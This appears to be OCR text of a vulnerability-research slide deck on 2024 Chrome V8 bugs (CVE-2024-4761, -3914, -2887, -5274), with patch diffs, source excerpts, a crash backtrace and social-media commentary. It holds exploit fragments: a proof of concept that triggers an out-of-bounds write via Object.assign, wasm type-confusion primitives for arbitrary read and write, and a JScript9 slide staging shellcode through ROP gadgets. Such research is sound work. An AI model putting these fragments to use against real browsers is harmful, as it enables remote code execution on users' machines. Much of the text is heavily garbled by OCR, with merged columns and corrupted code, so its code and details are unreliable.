Chrome web browser using a single UAF bug. They ear $60,000 and 6 Master of Pwn points.

Issue: chromium. &
Advisory: hannel-update-for-desktop_26.htm!
Patch candidate 1:

i . git/+/ 1 1/#FO

Patch candidate 2 (unlikely):

fv8/v8.git/+/2288a7¢144fb65!
PoC + notes: google. X~
1vTwx4dFVnBRpuUTZVfp10C96ioto0_zaRCI769CCx5eJXYNe967-_rddqixJATHIFr38biynxR22g7ud/pub
Finder: Manfred Paul

(Day 1) SUCCESS - Manfred Paul (@_manfp) executed a double-tap exploit on both Chrome and Edge browsers
with the rare CWE-1284 Improper Validation of Specified Quantity in Input. His Round 2 win earns him $42,500
and 15 Master of Pwn points.

DI-24-365/ °
microsoft. i il 14
hannel-update-for-desktop_16.html
Finder: Seunghyun Lee (@0x10n) of KAIST Hacking Lab
https:/fissues.chromium.org/issues/330759272

/0d9350b: AHFO

(Day 2) SUCCESS -Seunghyun Lee (@0x10n) of KAIST Hacking Lab used a UAF to RCE in the renderer on both
Microsoft Edge and Google Chrome. He earns $85,000 and 9 Master of Pwn points. That brings his contest total to
$145,000 and 15 Master of Pwn points.

https://0days.enging

https://support.apple.com/en-us/HT214103
https://bugs.webkit.org/show_bug.cgi?id=272750

(3 Find pages, get instant answers with Q&A >



https://0days.engineer

CVE-2024-4761 (v8)

Zero Day Engineering Insights

Google Chrome "actively exploited” bug chain on
Viz & v8-wasm (May 2024)

17th May 2024 - Alisa Esage https://zeérodayengineeri
ng.com/impsights/chrome-

s viz-v8-wgsm.html
Overview @zerodaytraining

@alisaesage

Emergency security updates were recently released by Google for a two-bug exploit chain under
active exploitation targeting Chrome browser. The bugs were patched on 9th May (sandbox bypass)
and 13th May (remote code execution). This quick technical note looks at the bug chain from a
cutting edge vulnerability research perspective, placing root cause analysis in the context of both
system internals and offensive research trends.

Disclaimer: due to theoretical analysis approach based on reverse-engineering security patches,
some details about the bugs may be off.



https://zerodayengineering.com/insights/chrome-viz-v8-wasm.html
https://zerodayengineering.com/insights/chrome-viz-v8-wasm.html
https://zerodayengineering.com/insights/chrome-viz-v8-wasm.html

CVE-2024-4761 (v8)

415 // static
416 Maybe<bool> JSReceiver::SetOrCopyDataProperties(

417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
449
441
442
443
444
445
446
447
448
449

Isolate* isolate, Handle<JSReceiver> target, Handle<Object> source,

PropertiesEnumerationMode mode,

const base::ScopedVector<Handle<Object>>* excluded_properties,

bool use_set) {
Maybe<bool> fast_assign =

FastAssign(isolate, target, source, mode, excluded_properties, use_set);

if (fast_assign.IsNothing()) return Nothing<bool>();
if (fast_assign.FromJust()) return Just(true);

Handle<JSReceiver> from = Object::ToObject(isolate, source).ToHandleChecked();

// 3b. Let keys be ? from.[[OwnPropertyKeys]]().
Handle<FixedArray> keys;
ASSIGN_RETURN_ON_EXCEPTION_VALUE(
isolate, keys,
KeyAccumulator: :GetKeys(isolate, from, KeyCollectionMode::kOwnOnly,
ALL_PROPERTIES, GetKeysConversion::kKeepNumbers),
Nothing<bool>());

if (!from->HasFastProperties() && target->HasFastProperties() &&
1IsJSGlobalProxy(*target)) {
// JSProxy is always in slow-mode.
DCHECK( ! IsJSProxy(*target));
// Convert to slow properties if we're guaranteed to overflow the number of
// descriptors.
int source_length;
if (IsJSGlobalObject(*from)) {
source_length = JSGlobalObject::cast(*from)
->global_dictionary(kAcquirelLoad)
->NumberOfEnumerableProperties();
} else if constexpr (V8_ENABLE_SWISS_NAME_DICTIONARY_BOOL) {
source_length =
from->property_dictionary_swiss()->NumberOfEnumerableProperties();

415 // static
416 Maybe<bool> JSReceiver::SetOrCopyDataProperties(

417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437

438
439
440
441
442
443
444
445
446
447

+5439 common lines

Isolate* isolate, Handle<JSReceiver> target, Handle<Object> source,

PropertiesEnumerationMode mode,

const base::ScopedVector<Handle<Object>>* excluded_properties,

bool use_set) {
Maybe<bool> fast_assign =

FastAssign(isolate, target, source, mode, excluded_properties, use_set);

if (fast_assign.IsNothing()) return Nothing<bool>();
if (fast_assign.FromJust()) return Just(true);

Handle<JSReceiver> from = Object::ToObject(isolate, source).ToHandleChecked();

// 3b. Let keys be ? from.[[OwnPropertyKeys]]().
Handle<FixedArray> keys;
ASSIGN_RETURN_ON_EXCEPTION_VALUE(
isolate, keys,
KeyAccumulator: :GetKeys(isolate, from, KeyCollectionMode::kOwnOnly,
ALL_PROPERTIES, GetKeysConversion::kKeepNumbers),
Nothing<bool>());

if (!from->HasFastProperties() && target->HasFastProperties() &&
IsJSObject(*target) && !IsJSGlobalProxy(*target)) {

// Convert to slow properties if we're guaranteed to overflow the number of
// descriptors.
int source_length;
if (IsJSGlobalObject(*from)) {
source_length = JSGlobalObject::cast(*from)
->global_dictionary(kAcquirelLoad)
->NumberOfEnumerableProperties();
} else if constexpr (V8_ENABLE_SWISS_NAME_DICTIONARY_BOOL) {
source_length =
from->property_dictionary_swiss()->NumberOfEnumerableProperties();

+10
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7.3.4 Set(O,P,V, Throw)

The abstract operation Set takes arguments O (an Object), P (a property key), V (an ECMAScript language value),
and Throw (a Boolean) and returns either a normal completion containing unused or a throw completion. It is used
to set the value of a specific property of an object. V is the new value for the property. It performs the following

steps when called:

1. Let success be ? O.[[Set]](P, V, O).
2.If success is false and Throw is true, throw a TypeError exception.
3. Return unused.

7.3.5 CreateDataProperty (O, P, V)

The abstract operation CreateDataProperty takes arguments O (an Object), P (a property key), and V (an
ECMAScript language value) and returns either a normal completion containing a Boolean or a throw completion. It

is used to create a new own property of an object. It performs the following steps when called:

1. Let newDesc be the PropertyDescriptor { [[Value]]: V, [[Writable]]: true, [[Enumerable]]: true, [[Configurable]]:
true }.
2. Return ? O.[[DefineOwnProperty]](P, newDesc).
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RUNTIME_FUNCTION(Runtime_SetDataProperties) {
HandleScope scope(isolate);
DCHECK_EQ(2, args.length());
Handle<JSReceiver> target = args.at<]SReceiver>(0);
Handle<Object> source = args.at(1);

// 2. If source is undefined or null, let keys be an empty List.

if (IsUndefined(*source, isolate) || IsNull(xsource, isolate)) {
return ReadOnlyRoots(isolate).undefined_value();

}

MAYBE_RETURN (JSReceiver : : SEEORCOpyDataProperties (

isolate, target, source,
PropertiesEnumerationMode: : kEnumerationOrder),
ReadOnlyRoots (isolate).exception());
return ReadOnlyRoots(isolate).undefined_value();
}

RUNTIME_FUNCTION(Runtime_CopyDataProperties) {
HandleScope scope(isolate);
DCHECK_EQ(2, args.length());
Handle<JSObject> target = args.at<JSObject>(0);
Handle<Object> source = args.at(1);

// 2. If source is undefined or null, let keys be an empty List.
if (IsUndefined(xsource, isolate) || IsNull(xsource, isolate)) {
return ReadOnlyRoots(isolate).undefined_value();

}

MAYBE_RETURN (
JSReceiver::SetOrCopyDataProperties (
isolate, target, source,
PropertiesEnumerationMode: :kPropertyAdditionOrder, nullptr, false),
ReadOnlyRoots(isolate).exception());
return ReadOnlyRoots(isolate).undefined_value();

391
392
393
394
385
396
397
398
399
400

1/ €s #sec

TF_BUILTIN(ObjectAssign, ObjectBuiltinsAssembler) {
TNode<IntPtrT> argc = ChangeInt32ToIntPtr(
UncheckedParameter<Int32T>(Descriptor: :kJSActualArgumentsCount));
CodeStubArguments args(this, argc);

auto context = Parameter<Context>(Descriptor::kContext);
TNode<Object> target = args.GetOptionalArgumentValue(@);

// 1. Let to be ? ToObject(target).
TNode<]SReceiver> to = ToObject_Inline(context, target);

Label done(this);
// 2. If only one argument was passed, return to.
GotoIf(UintPtrLessThanOrEqual(args.GetLengthWithoutReceiver(),
IntPtrConstant(1)),
&done) ;

// 3. Let sources be the List of argument values starting with the
// second argument.
// 4. For each element nextSource of sources, in ascending index order,
args.ForEach(
[=] (TNode<Object> next_source) {
| CallBuiltin(Builtin::kSetDataPropertiesl context, to, next_source);
}
IntPtrConstant(1));
Goto(&done) ;

// 5. Return to.
BIND (&done) ;
args.PopAndReturn(to);




CVE-2024-4761 (v8)

RUNTIME_FUNCTION(Runtime_SetDataProperties) A // ES #se
HandleScope scope(isolate);
DCHECK_EQ(2, args.length());

Handle<JSReceiver> target = args.at<JSReceivers(@); let instance = bu”der_instantiate({});

Handle<Object> source = args.at(1);

bjectBuiltinsAssembler) {
hngeInt32ToIntPtr(
t32T>(Descriptor: :kJSActualArgumentsCount));

let wasm = instance.exports; M pargch

Context>(Descriptor::kContext);

! return ReadOnlyRoots(isolate).undefined_value(); Iet array42 - Wasm -createArray(42); rgs.GetOptionalArgumentValue(0);
Il %DebugPrint(array42);

if (IsUndefined(*source, isolate) || IsNull(xsource, isol

MAYBE_RETURN (JSReceiver: : SetOrCopyDataProperties (
isolate, target, source,
PropertiesEnumerationMode: : kEnumeration0O

ReadOnlyRoots(isolate).exception()); Iet Src = {}’
return ReadOnlyRoots(isolate).undefined_value(); pa .
src.a=1;

pObject_Inline(context, target);

passed, return to

qual(args.GetLengthWithoutReceiver(),

delete Src.a, IntPtrConstant(1)),

RUNTIME_FUNCTION(Runtime_CopyDataProperties) {
HandleScope scope(isolate);
DCHECK_EQ(2, args.length());

Handle<JSObject> target = args.at<]SObject>(@); fOI' (Iet | = O, | < 1024, i++) { vt Bl afgUREnt Ve iSRS tark g sl thigthe
Handle<Object> source = args.at(1); Src[‘ p${|}‘] - 1; AT o AT

2. If source is undefined or null, t keys be an empt }
if (IsUndefined(ksource, isolate) || IsNull(xsource, isol kt_source) {
return ReadOnlyRoots(isolate).undefined_value(); ::kSetDataPropertiesL context, to, next_source);

’ Il %DebugPrint(src);
MAYBE_RETURN (

JSReceiver::SetOrCopyDataProperties ( // o/osetDataPropertles(array42! Sr );
isolate, taroet Jeolice, Object.assign(array42, src);

PropertiesEnumerationMode: : kPropertyAdditionOrder .
ReadOnlyRoots(isolate).exception());
return ReadOnlyRoots(isolate).undefined_value();

-
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pwndbg> bt

#0 Ovooee7fd5ac3a11b9 in v8
pl X :

#1 0 80007fd5an33119b in v8::base::0S () at ../../src/ba form/g 0 X 1699

#2 0x00007fd5ac374bed4 in Fat i —=Gx7fd5b061&36b Sl da -inl. line=343, format=0x7fd5ac347753

"Debug check failed .") at . 5 e

#3 0x00007fd5ac37458c in v8::b ( faultDcheckHa 0x7fd5b061536b ../../src/objects

/map-inl.h", 11 43, me »—Gy7fd5b05259f4 IsJSOb]ectMap( this)") at ../. r

#4 ©x00007fd5ac374ca5 in V8 Dche (f x7fd5b061a36b ./../src/objects/map- essage=0x7fd5b05259f

4 "Is]SObjectMap(*this)") at . S

#5 ©x00007fd5b6T01450 in v8 ternal: :} I j Properties (this=0x7ffe99fd2498) at ../../src/objects/map-inl

1343

#6 0x00007fd5b7ea4950 in v t al::! Normalizec 0late=0x562684427000, S e=v8::internal::CLEAR

INOBJECT PROPERTIES) at [ ¢

#7 ©x00007fd5b7ead4553 in vi 1 ize (isolate=0x562684427000 t map: 1 :int

ernal: :HOLEY ELEMENTS, : :CLEAR INOBJECT PROPERTIES, e ca eas( ~0x7fd5b056757e ‘Copylng dat

a properties") at .. cc:1318

#8 ©x00007fd5b7d91f6d in v8 € :Norma t 0late=0x562684427000, object= :int

ernal::CLEAR INOBJECT PROPERTIES, ex ( iti ti e cache=true, re '0x7fd5b05a757e "Copying d

ata properties") at j j

#9 0x00007fd5b7d9db53 in v erne 150 No 1 iso 0x562684427000, YJeCT= e=v8::int

ernal::CLEAR INOBJECT PPOPERTIES xpecte iti 1 i a x7fd5be5a757e "Copying data propertles”)

At ok ts/j bjects.

#10 0 00007fd5b7d735f~l in inte 1 sRecelive SetOr( yDataPropert ( te=0x562684427000,

=..., mode=v8::internal: kEnumeratlonOrder xcl ert e rue) at Sl A obj

55

#11 0)00007fd5b826d6bf in v8::internal: RT )l Runtime SetDat operti ..., 150late=0x562684427000) at ..
time tii e-obje 11064 e

#12 0!00007fd5b8Lba278 v i 1 i € taPropertie args le gs object=0x7ffe99fd2c28 1 https://docs.go

X562684427000) at ../../src =/ ru : ' : i ogle.com/docu
3 0x00007fd5b650378 in E i y Returnl ArgvInRegi iltinExit ( m /home/zc/ssd/v8 head/v8/ou I ment/d/e/2PAC
0x000077d5b6cod8ab in Buil eHandle ' ( c/ssd/v8_head/v8/out/Debug/1ibvs. so X-1vSpCvBik81
0x0000000000000170 i OppzMXbPjbOuR

0x00007f fe99fd2c70
OXFFFFFFFFFFFFrffy i IWTdn4I1kttNSI

0x0000000000002420 (& bHtNMCT3xZ1Ji

06x0000169c00298e95 1 7 I’KASCCUXZNBIm
0x0000000000000002

0x0000000000000022 i ( IBdXoKxrktlgJjO
0x00007ffe99fd2c76 in 77 | ) ) ) Z/pub @bupdsb

0x00007fd5b6212bc9 1
0x0000000000000000



https://docs.google.com/document/d/e/2PACX-1vSpCvBik81OppzMXbPjb0uRlWTdn4I1kttNSlbHtNMCT3xZJJiyKAsCcUxzNBimlBdXoKxrktlgJjOZ/pub
https://docs.google.com/document/d/e/2PACX-1vSpCvBik81OppzMXbPjb0uRlWTdn4I1kttNSlbHtNMCT3xZJJiyKAsCcUxzNBimlBdXoKxrktlgJjOZ/pub
https://docs.google.com/document/d/e/2PACX-1vSpCvBik81OppzMXbPjb0uRlWTdn4I1kttNSlbHtNMCT3xZJJiyKAsCcUxzNBimlBdXoKxrktlgJjOZ/pub
https://docs.google.com/document/d/e/2PACX-1vSpCvBik81OppzMXbPjb0uRlWTdn4I1kttNSlbHtNMCT3xZJJiyKAsCcUxzNBimlBdXoKxrktlgJjOZ/pub
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54 function install_primitives() {

55 let src = {};

56 for(let i = 0; i < (kMaxNumberOfDescriptors+1); i++) {
57 src[ p${i}’] = 1;

58 }

59 //stops us from crashing in SetOrCopyDataProperties J/exterRal Propertiss

60 src.__defineGetter__("p@", function() { 0.pl = 0; //fake SeqTwoByteString length field
61 throw new Error("bailout"); for(let i = 2; i <= 15; i++) {

62 1) o[ p${i}’] = 0;

}

63 //need to create the map beforehand to avoid descriptor arrays being ¢ 8
let wasm_array = wasm.create_array(0);

64 //innapropriately
65 let dummy = {};
' var arrl = [1.1]1;//, 1.1, 1.1, 1.1];

’ var arr2 = [{}];

0.pl6 = @; //reallocates new property array twice as large

66 dummy.il =
67 dummy.i2 =

68 dummy.i3 = 0;

69 dummy.i4 = 0; %DebugPrint(o);

70 for(let i = 1; i == 16;

71 dummy [ p${i}*] = 0; try { L
//trigger 1 element 00B zero write https: ist.gith

s Object.assign(wasm_array, src); Ubﬂm

g } catchlerr) {} ntncop/2cb449e

74 var o = {}; b6aa30d35d1af

75 //inline properties gc_major(); d78a8b06bac2

76 0.il = 0; %DebugPrint (wasm_array) ; @mistymntcop
o 0.p9 = 1024;

7 o e 0.pll = 1024;

78 0.1i3 0; //%DebugPrint(o); //will crash

79 0.1i4 0

%DebugPrint(wasm_array);

0
0
0
0
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CVE-2024-3914 (v8)

‘ Zero Day Engineering & @zerodaytraining - Apr 30

Patch candidate for Chrome v8 Use-after-free to RCE bug (CVE-2024-
3914) exploited by @0x10n at Pwn20wn 2024 Vancouver against both
Chrome and Microsoft Edge. Patched in Chrome 124.0.6367.60/.61

This is not "quite" v8 - it's kinda blink reachable from v8. Classic array
neutering
Show more

‘591958322924

:om>
scoped@luci-project-accounts.iam.gservic:
:c8039694de2f

’e3c3897817aa [diff]

/" and "Comment out a CHECK that a DOMAB h. '

i "is_detached_" state, and
v if the corresponding
» there are several) was

@0x10n
o big change for this fix, so this is usi . f; e b @ZerOdaytralnlng

@thezdi Pwn20wn
O 1 ¥ 103 ihi 18K




CVE-2024-3914 (v8)

commit 0d9350b71fdObffe5052342850cf591958322924
author Marja HOltta <marja@google.com>
committer Chromium LUCI CQ <chromium-scoped@luci-project-accounts."
tree e52d8676bd7b899bff33ec63944cc8039694de2f
parent 9e3a5004f07d0dab21942f4e7257e3¢c3897817aa [diff]

Merge "Fix DOMArrayBuffer::IsDetached()" and "Comment out a CHECK tha
1)

A DOMArrayBuffer was maintaining its own "is_detached_" state, and
would consider itself non-detached even if the corresponding
JSArrayBuffer (or, all of them, in case there are several) was

detached.

Piping in the v8::Isolate would be a too big change for this fix, so

[log] [tgz]

g Alisa Esage LlleB4eHKo 2
: @alisaesage

Array neutering is the “directory traversal” of
javascript engines.

It’s a remarkably simple and reliable exploit vuln
class that affects only Typed arrays, a kind of
one-off issue that is supposed to be eliminated
once and for good, but keeps recurring through
the years.

Basically, it’s a design issue that is rooted in the
technical specification or how it is commonly
understood by devs. One of my favorite bug
classes!
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diff --git a/third party/blink/renderer/core/typed arrays/dom array buffer.

index 87db88b..cl78ce5 100644
--- a/third_party/blink/renderer/core/typed_arrays/dom_array_buffer.cc
+++ b/third_party/blink/renderer/core/typed_arrays/dom_array_buffer.cc

@@ -46,8 +46,19 @@

static void AccumulateArrayBuffersForAllWorlds(
v8::Isolatex isolate,
DOMArrayBufferx object,
const DOMArrayBufferx object,
v8::LocalVector<v8::ArrayBuffer>& buffers) {

if (lobject->has_non_main_world_wrappers() && IsMainThread()) {
const DOMWrapperWorld& world = DOMWrapperWorld::MainWorld(isolate);
v8::Localkv8::0bject> wrapper;
if (world.DomDataStore()
.Get</xentered_context=*/false>(isolate, object)

g

.ToLocal(&wrapper)) {
buffers.push_back(v8::Local<v8::ArrayBuffer>::Cast(wrapper));
}

return;

+ + + + + + + + o+

+bool DOMArrayBuffer::IsDetached() const {

a3

o

if (contents_.BackingStore() == nullptr) {
return is_detached_;

}

if (dis_detached_) {
return true;

v8::Isolatex isolate = v8::Isolate::GetCurrent();

v8::HandleScope handle_scope(isolate);
v8::LocalVector<v8::ArrayBuffer> buffer_handles(isolate);
AccumulateArrayBuffersForAllWorlds(isolate, this, buffer_handles);

// There may be several v8::ArrayBuffers corresponding to the DOMArrayBuffer,
// but at most one of them may be non-detached.

int nondetached_count = 0;

int detached_count = 0;

for (const auto& buffer_handle : buffer_handles) {
if (buffer_handle->WasDetached()) {
++detached_count;
} else {
++nondetached_count;
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CVE-2024-2887: A PWN20OWN
WINNING BUG IN GOOGLE CHROME

May 02, 2024 | Guest Blogger

In this guest blog from Master of Pwn winner Manfred Paul, he details CVVE-2024-2887 — a
type confusion bug that occurs in both Google Chrome and Microsoft Edge (Chromium). He

used this bug as a part of his winning exploit that led to code execution in the renderer of
both browsers. This bug was quickly patched by both Google and Microsoft. Manfred has

https://www.zerod
ayinitiative.com/bl

graciously provided this detailed write-up of the vulnerability and how he exploited it at the 8% 2%‘;@ 5/2/ Cveéz
- -a-pwnZo
contest. wn-winning-bug-in

-google-chrome
@_manfp @thezdi
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void DecodeTypeSection() {
TypeCanonicalizerx type_ca = GetTypeCanonicalizer();
uint32_t types_count = consume_count("types count", kV8MaxWasmTypes); // (1)

for (uint32_t i = @; ok() & i < types_count; ++i) {

uint8_t kind = read_u8<Decoder::FullValidationTag>(pc(), "type kind");

size_t initial_size = module_->types.size();

© O N OU A W N R

if (kind kWasmRecursiveTypeGroupCode) {

R
[

uint32_t group_size =

-
N

consume_count("recursive group size", kV8MaxWasmTypes);

[
w

=
'S

if (initial_size + group_size > kV8MaxWasmTypes) { // (2)

J
v

errorf(pc(), "Type definition count exceeds maximum %zu",

=
o

kV8MaxWasmTypes) ;

[
~

return;
¥

N R
S © ®

for (uint32_t j = @; j < group_size; j++) {

NN
N =

TypeDefinition type = consume_subtype_definition();

N
w

module_->types[initial_size + j] = type;

N
&

i

NN
o u

else {

N
~

N
]

// Similarly to above, we need to resize types for a group of size 1.

N
©

module_->types.resize(initial_size + 1); // (3)

@_manfp

w
5]

module_->isorecursive_canonical_type_ids.resize(initial_size + 1);




CVE-2024-2887 (v8)

This arbitrary casting of reference types allows transmuting any value type into any other by
referencing it, changing the reference type, and then dereferencing it — a universal type
confusion.

In particular, this directly contains nearly all usual JavaScript engine exploitation primitives as
special cases:

» Transmuting int to int* and then dereferencing results in an arbitrary read.
» Transmuting int to int* and then writing to that reference results in an arbitrary write.

= Transmuting externrefto int is the addrOf () primitive, obtaining the address of a
JavaScript object.

= Transmuting int to externref is the fakeObj () primitive, forcing the engine to treat
an arbitrary value as a pointer to a JavaScript object.

@_manfp



JSE type confusion basics

https://zerodayengineering.com/r
esearch/javascript-engines-exploi
tation-jscript9.html
@zerodaytraining @alisaesage

0. START 10. This is CPU
assembly (x86
5. Shellcode embly (x86)
. Which does
£ t5 f (1 ) { let stagel = new Uint32Array([ trampoline 't stage3 = new Uint8Array([ whatever | want on
unction Tunc » U, N, C jscripto.base + jscript9.gadgetl, I @I EY)) gzi;' gxcg, o
3052 N1 g, S el your computer
_ 0x1000, oxbf, 0, 0, 0, 0,
fle] = o/ stage2_3.addr, ox8b, 0xe7,
ul@] = n; jscript9.base + jscript9.gadget2, 0xf3, Oxas,
stage2_3.addr + stage2_3.length - 4, oxBh Roxec
o s e ox81, 0xc5, 0x84, 0, 0, O,
. ’ ’ ’ ’ ’ ' Oxbe, 0, 0, 0, O,
A () i RQ1E="Tc; N} 0, 1, 9, 1, 0, 1, oxc2, 0x10, 0,
return f[@]; @, 1,005 1,00, 1, T ox9f, ox9f, 0x9f, @x9f
(Lo by 0 s (s ks 2
1 stage3.addr = read32( getAddrOf(stage3) + 8%4 );
}; stage2_3.addr, let stage2_3 = new Uint8Array(stage2.length + stage3.length)
9, 0, 0, stage2_3.addr = read32( getAddrOf(stage2_3) + 8%4 );
0x40,
9, 0
1) for ( var i = @; i < stagel.length; i ++ ) {
function read32( addr ) { stagel.addr = read32( getAddrOf(stagel) + 8x4 ) coed 1]l D reada2lretpir <l 124)

view([7] addr;
return DataView.prototype.getUint16.call(view.obj[@], @, true) + (DataView.prototype.getUint16.call(view. ob|

3. Direct
memory

function write32( addr, value ) {

access ?!

view[7] addr;
DataView.prototype.setUint32.call(view.obj[@0], @, value, true)

write32(retPtr + ix4, stagell[il)

5.1 Writing

shellcode

write32(retPtr

write32(stage3.
write32(stage3.
write32(stage3.
write32(stage3.

+ 4%4, 0x48 + coed.addr)
addr + 3, stagel.length)
addr + 8, coed4.addr)
addr + 13, retPtr)

addr + 30, read32( retPtr + 0xfo ));

P.S. Not to
be confused

stage2_3.set(stage2, 0)
stage2_3.set(stage3, stage2.length)

with WASM
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= (CVE-2024-5274)[341663589]V8 parse a class
static block incorrectly(parsed using the
ExpressionScope stack) because class static

blocks contain statements, not expressions -> ...

-> type confusion -> RCE(exploited ITW)

I

stable...

£ " xvonfers

L

349

< Post

ii
a CVE-2024-5274.

When it pours it pours! Lol.
chromium-review.googlesource.com/c/v8/v8/+/

5553
9553

ii op-22
Another parser vuln. Giving me CVE-2022-4262
flashbacks @&

jj @mis
a @alisaesage Another ITW parser vuln @

6 Alisa Esage LLleBueHko @

Wondering if it was found with fuzzer optimizations
introduced by @5aelo to mitigate cve 4262
variants :P

CVE-2022-4262 & CVE-2024-5274 (today)

https://youtu.be/WouApt

HlyC4?feature=shared
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